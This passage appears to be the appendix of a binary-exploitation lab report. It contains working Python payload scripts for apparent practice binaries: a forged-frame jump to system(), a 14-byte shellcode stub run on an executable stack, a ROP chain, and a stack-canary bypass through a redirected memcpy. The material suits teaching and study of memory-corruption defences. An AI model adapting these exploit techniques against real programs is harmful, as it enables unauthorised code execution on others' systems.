payload += b"A" * (0x10 - len(payload)) # pad the 16-byte expression[]
payload += struct.pack("<Q", fake_frame) # saved rbp -> forged frame
payload += struct.pack("<Q", system_call_site) # saved rip -> system()
payload += struct.pack("<Q", wrap_main) # [fake_frame + 8]

assert len(payload) == 0x28 and len(payload) + 1 <= 0x30
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```

A.3 payload_dark.py：栈空间执行

```
#!/usr/bin/env python3
"""Execute a 14-byte stub on dark-calc's fixed executable stack."""
import struct
import sys

# dark-calc's init_fixed_stack() maps 0x721000000000 .. +0x802000 as RWX with
# PROT_NONE guard pages at both ends, so expression[] always lands at
# 0x721000800fd0 (only 0x30 bytes before the upper guard page) and is
# executable.
#
# grade_eval() itself uses [rbp-0x4] = rbp-0x4 = buffer+0x0c, i.e. it clobbers
# the last 4 bytes of the stub while it runs, so everything the stub needs
# after grade_eval() returns must already be on the stack. The stub therefore
# pushes its continuation address *before* calling grade_eval:
#
# push 4; pop rdi; push __wrap_main; push grade_eval; ret
#
# grade_eval(4) prints the message, then returns into __wrap_main, which sets
# the stack back to fixed_stack_top and calls main() again; the second input()
# sees EOF, prints the answer and calls exit(0), so the process ends cleanly.
stub = bytes.fromhex("6a045f" + "680e1c4000" + "68871a4000" + "c3")
payload = stub + b"B" * (0x18 - len(stub)) + struct.pack("<Q", 0x721000800FD0)
```

```
assert len(stub) == 14 and len(payload) == 0x20
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```

A.4 payload_rop.py：ROP

```
#!/usr/bin/env python3
"""Call grade_eval(4) on dark-calc-nx with a return-oriented chain."""
import struct
import sys


def address(value):
    return struct.pack("<Q", value)


pop_rdi_ret = 0x401A33
ret = 0x401A34
grade_eval = 0x401978
exit_plt = 0x4016E0

# pop rdi; 4; ret; grade_eval(4); pop rdi; 4; ret; exit(4)
# The extra `ret` instructions restore the SysV AMD64 stack alignment, and the
# second pop rdi makes the exit status deterministic instead of inheriting the
# leftover rdi from grade_eval's fflush() call.
chain = [pop_rdi_ret, 4, ret, grade_eval,
         pop_rdi_ret, 4, ret, exit_plt, 0]
payload = b"A" * 16 + b"B" * 8 + b"".join(map(address, chain))
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```

A.5 payload_canary.py：绕过 Canary

```
#!/usr/bin/env python3
"""Bypass dark-log's canary by steering the in-frame memcpy destination."""
import struct
import sys

```

```
def address(value):
    return struct.pack("<Q", value)


pop_rdi_ret = 0x4018A3 # pop rdi; ret (inside __libc_csu_init)
ret = 0x4018A4 # ret (restores the SysV stack alignment)
grade_eval = 0x401677

# dark-log's frame layout:
# f.expression rbp-0x120 <- gets() destination
# f.logMsg rbp-0xa0
# f.len rbp-0x20 <- overwritten by the gets() overflow
# f.pad rbp-0x18
# canary rbp-0x8
# saved rbp rbp
# saved rip rbp+8
# The copy is memcpy(f.logMsg + f.len, f.expression, 128), i.e. its
# destination is rbp-0xa0 + f.len. Sending f.len = 0xa8 makes that
# destination exactly rbp+8, so the 128-byte copy starts at the saved return
# address and never reaches the canary at rbp-0x8. The canary check therefore
# still passes, and the first 8 bytes of f.expression become the new rip.
len_offset = 0xA8 # (rbp+8) - (rbp-0xa0)
chain = [pop_rdi_ret, 4, ret, grade_eval]
block = b"".join(address(value) for value in chain)
block += b"C" * (0x80 - len(block))

payload = block + b"D" * (0x100 - 0x80) + struct.pack("<I", len_offset)
assert len(payload) == 0x104
assert b"\n" not in payload
sys.stdout.buffer.write(payload)
```